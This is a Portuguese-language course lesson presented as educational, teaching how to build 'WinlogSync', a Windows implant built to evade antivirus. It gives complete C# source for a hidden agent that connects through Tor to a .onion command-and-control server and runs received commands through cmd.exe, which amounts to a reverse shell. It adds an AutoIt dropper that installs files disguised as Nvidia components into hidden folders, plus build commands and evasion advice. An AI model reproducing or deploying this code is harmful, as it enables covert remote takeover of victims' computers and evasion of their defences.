Aula 134 | Melhorando com C#

Aula 134 | Melhorando com C#

No decorrer das aulas, iniciamos uma jornada prática e teórica voltada para o desenvolvimento de um software que simula comportamentos utilizados em cenários avançados de automação, evasão de antivírus e conexão em rede oculta, como a do Tor. A ideia central foi entender como diferentes linguagens e técnicas se comportam sob o olhar atento de mecanismos de segurança como o Windows Defender, e como contornar algumas dessas barreiras de forma educacional e demonstrativa.

1. Início com PowerShell e a Ferramenta PS2EXE

Na aula 128, demos início com algo simples: um script em PowerShell convertido em executável usando o PS2EXE. Isso permitiu que explorássemos o conceito de transformar scripts em aplicações reais, algo que é útil para qualquer tipo de automação, inclusive para demonstrar como os antivírus analisam esses arquivos.

Mas, como vimos, PowerShell é altamente monitorado por antivírus. Executar qualquer coisa com ele é como colocar uma pessoa suspeita dentro de um ambiente vigiado – a detecção é quase certa. Por isso, rapidamente vimos a necessidade de explorar alternativas.

2. Transição para AutoIt (Aulas 129–133)

A partir da aula 129, começamos a utilizar o AutoIt, uma linguagem voltada para automação de janelas e interações gráficas. Ele tem a vantagem de compilar para executáveis leves, que muitas vezes passam despercebidos por antivírus comuns.

No entanto, o AutoIt tem limitações severas:

  • Não interage diretamente com o sistema operacional em nível baixo.

  • Não executa chamadas diretas à API do Windows.

  • Possui dificuldades para operar totalmente em background de forma furtiva.

Apesar disso, ele é útil para criar "droppers" (programas que instalam outros arquivos no sistema) e interfaces automatizadas. Ele não será descartado, mas sabemos que ele não basta para nossos objetivos mais avançados.

3. Evoluindo com C# – A Linguagem que Fala com o Sistema

A verdadeira virada ocorre com a introdução do C#, uma linguagem desenvolvida pela Microsoft com acesso total ao ambiente Windows:

  • Pode se comunicar diretamente com APIs nativas, como as contidas nas DLLs kernel32.dll e user32.dll.

  • Tem suporte para conexões de rede, threads, manipulação de arquivos, entre muitas outras funcionalidades.

  • É capaz de se disfarçar melhor que PowerShell por não usar um processo já conhecido por problemas.

Essa mudança foi fundamental, pois abandonamos o PowerShell para a comunicação com nosso C2 (Command & Control) e passamos a usar C# para fazer essas conexões, de forma mais oculta e com menor risco de detecção.

4. Estrutura do Software – WinlogSync

Nosso projeto, chamado WinlogSync, é composto por três grandes partes:

  1. Dropper: Copia arquivos para uma pasta local, incluindo o cliente Tor.

  2. Conexão SOCKS5 com o C2: Antes feita com PowerShell, agora em transição para C#.

  3. Persistência: Garante que o software volte a rodar após reinicializações.

Estamos começando a migrar as partes mais críticas (como a conexão) para C#, justamente pela necessidade de mais controle e evasão de detecção.

5. Entendendo o Conceito de “Tocar no Disco” vs. “Rodar em Memória”

Os antivírus monitoram principalmente ações realizadas no disco, pois arquivos salvos são facilmente analisados, escaneados e rastreados. Quando um programa escreve no disco, ele deixa rastros e "cheira a problema".

Já a RAM (memória volátil) é o “céu” do sistema – onde tudo acontece temporariamente. Executar diretamente da memória (técnica chamada fileless execution) é muito mais furtivo. Um programa pode subir, fazer seu trabalho e desaparecer sem deixar vestígios físicos, como um drone que voa abaixo do radar.

Esse conceito nos faz buscar cada vez mais formas de executar ações sem salvar arquivos diretamente, ou seja, utilizando técnicas de in-memory execution.

6. DLLs – O Poder das Bibliotecas do Windows

Para entender o funcionamento de C# com mais profundidade, exploramos dois tipos de DLLs essenciais:

  • user32.dll: Responsável pela interface gráfica – janelas, botões, mouse, etc.

  • kernel32.dll: A ponte entre os programas e o núcleo do sistema (o kernel). É com ela que criamos processos, manipulamos memória e acessamos funções de sistema críticas.

A comunicação com o kernel passa pelas DLLs, e é por isso que o C# é tão valioso: ele pode fazer chamadas diretas para essas bibliotecas e acessar recursos avançados que AutoIt ou PowerShell não conseguem (ou são bloqueados ao tentar).

7. Diferença entre PowerShell e C# na Conexão ao C2

PowerShell:

  • Executado como powershell.exe, um processo muito monitorado.

  • Cada comando é interpretado linha por linha.

  • Ao fazer conexões, chama DLLs de rede (como ws2_32.dll) que ativam a detecção heurística dos antivírus.

C#:

  • Compilado em um executável próprio, com nome e assinatura personalizáveis.

  • Quando roda, já está pré-compilado – não há interpretação.

  • Chama diretamente as DLLs necessárias, sem intermediários suspeitos.

  • Apresenta-se como um software normal, não como um script “transgressor”.

Analogia Final:
PowerShell é como um ex-presidiário que todo segurança conhece – ele mal entra no prédio e já está sendo observado.
C# é como um estagiário novo, com cara de inofensivo, que passa pelos sensores sem levantar suspeitas.

8. Códigos

Instalar o .NET SDK:

sudo apt-get update && \
sudo apt-get install -y dotnet-sdk-8.0

Crie o projeto de console:

dotnet new console -o AgentTor

Program.cs:

using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class Agent
{
    private const string TorProxyAddress = "127.0.0.1";
    private const int TorProxyPort = 9050;
    private const string OnionHost = "njhnpkiuqkfc7yocpidh5vixpb6npuq7ukg3xi6kdvwychveyafvieid.onion";
    private const int OnionPort = 4444;
    private const int ReconnectDelay = 15000;

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;

    public void Start()
    {
        while (true)
        {
            try
            {
                using (var client = new TcpClient())
                {
                    client.Connect(TorProxyAddress, TorProxyPort);
                    using (var stream = client.GetStream())
                    {
                        PerformSocksHandshake(stream);
                        HandleCommunication(stream);
                    }
                }
            }
            catch {}

            Thread.Sleep(ReconnectDelay);
        }
    }

    private void PerformSocksHandshake(NetworkStream stream)
    {
        stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
        var authResponse = new byte[2];
        stream.Read(authResponse, 0, authResponse.Length);
        if (authResponse[1] != 0x00) throw new Exception("SOCKS auth failed");

        var hostBytes = Encoding.ASCII.GetBytes(OnionHost);
        byte[] request = new byte[7 + hostBytes.Length];
        request[0] = 0x05;
        request[1] = 0x01;
        request[2] = 0x00;
        request[3] = 0x03;
        request[4] = (byte)hostBytes.Length;
        Buffer.BlockCopy(hostBytes, 0, request, 5, hostBytes.Length);
        request[request.Length - 2] = (byte)(OnionPort >> 8);
        request[request.Length - 1] = (byte)(OnionPort & 0xFF);
        stream.Write(request, 0, request.Length);
        
        var connectResponse = new byte[10];
        stream.Read(connectResponse, 0, connectResponse.Length);
        if (connectResponse[1] != 0x00) throw new Exception("SOCKS connection failed");
    }

    private void HandleCommunication(NetworkStream stream)
    {
        using (var reader = new StreamReader(stream))
        using (var writer = new StreamWriter(stream) { AutoFlush = true })
        {
            while (true)
            {
                var command = reader.ReadLine();
                if (string.IsNullOrEmpty(command)) break;

                string commandOutput = "";
                try
                {
                    var processStartInfo = new ProcessStartInfo("cmd.exe", "/c " + command);
                    processStartInfo.RedirectStandardOutput = true;
                    processStartInfo.RedirectStandardError = true;
                    processStartInfo.UseShellExecute = false;
                    processStartInfo.CreateNoWindow = true;

                    using (var process = Process.Start(processStartInfo))
                    {
                        commandOutput = process.StandardOutput.ReadToEnd();
                        commandOutput += process.StandardError.ReadToEnd();
                        process.WaitForExit(10000);
                    }
                }
                catch (Exception e)
                {
                    commandOutput = "Erro ao executar o comando: " + e.Message;
                }
                writer.WriteLine(commandOutput.Trim() + "\nC2> ");
            }
        }
    }

    public static void Main(string[] args)
    {
        var handle = GetConsoleWindow();
        ShowWindow(handle, SW_HIDE);

        Agent agent = new Agent();
        agent.Start();
    }
}

Compile:

dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true

Código AutoIt: Winlogsync.au3

#NoTrayIcon

Global Const $sInstallDir = "C:\ProgramData\Nvidia\UpdateSvc"
Global Const $sTorDestName = "nv_telemetry.exe"
Global Const $sAgentDestName = "nv_sys_helper.exe"

If Not FileExists($sInstallDir) Then
    DirCreate($sInstallDir)
    FileSetAttrib($sInstallDir, "+H")
EndIf

FileInstall("datasvc.exe", $sInstallDir & "\" & $sTorDestName, 1)
FileInstall("wudfhost.exe", $sInstallDir & "\" & $sAgentDestName, 1)
FileInstall("geoip", $sInstallDir & "\geoip", 1)
FileInstall("geoip6", $sInstallDir & "\geoip6", 1)

FileSetAttrib($sInstallDir & "\" & $sTorDestName, "+H")
FileSetAttrib($sInstallDir & "\" & $sAgentDestName, "+H")
FileSetAttrib($sInstallDir & "\geoip", "+H")
FileSetAttrib($sInstallDir & "\geoip6", "+H")

Run('"' & $sInstallDir & "\" & $sTorDestName & '"', $sInstallDir, @SW_HIDE)

Sleep(Random(15000, 20000, 1))

Run('"' & $sInstallDir & "\" & $sAgentDestName & '"', $sInstallDir, @SW_HIDE)

Exit

9.  Entendendo o .NET Framework e o papel do C#

Para compreender melhor por que o C# é tão poderoso — e ao mesmo tempo mais “discreto” do que linguagens de script como PowerShell — é essencial entender o que é o .NET Framework e como ele funciona.

O que é o .NET Framework?

O .NET Framework é uma plataforma de desenvolvimento criada pela Microsoft. Ele fornece um conjunto de bibliotecas e serviços que ajudam os desenvolvedores a construir aplicações seguras, robustas e com acesso completo ao sistema operacional Windows. É uma ponte entre o código do programador e o sistema operacional.

O .NET é dividido em duas partes principais:

  1. CLR (Common Language Runtime)
    É o “motor” do .NET. Ele executa o código compilado, gerencia a memória, trata exceções, controla a segurança e permite que diferentes linguagens interajam entre si (por exemplo, C#, VB.NET, F#).

  2. BCL (Base Class Library)
    É a biblioteca de classes com milhares de funcionalidades prontas: manipulação de arquivos, redes, criptografia, acesso a banco de dados, etc.

C# dentro do .NET

O C# (C Sharp) é uma das linguagens que rodam sobre o .NET Framework. Quando você escreve código em C#, ele é compilado para IL (Intermediate Language), que é executado pelo CLR.

Ou seja:

  1. Você escreve em C#.

  2. O código é compilado para um executável (.exe ou .dll), mas esse executável contém IL, não instruções de máquina ainda.

  3. Quando o programa roda, o CLR traduz o IL para código nativo (JIT - Just In Time).

  4. Esse código nativo é o que realmente conversa com o sistema operacional, via chamadas para DLLs como kernel32.dll. user32.dll e ws2_32.dll.

Sugestões de Aulas

Aula 135 | Vetor Hotspot Falso

Ver Aula

Aula 133 | Documento com mshta

Ver Aula

Aula 13 | Front-End

Ver Aula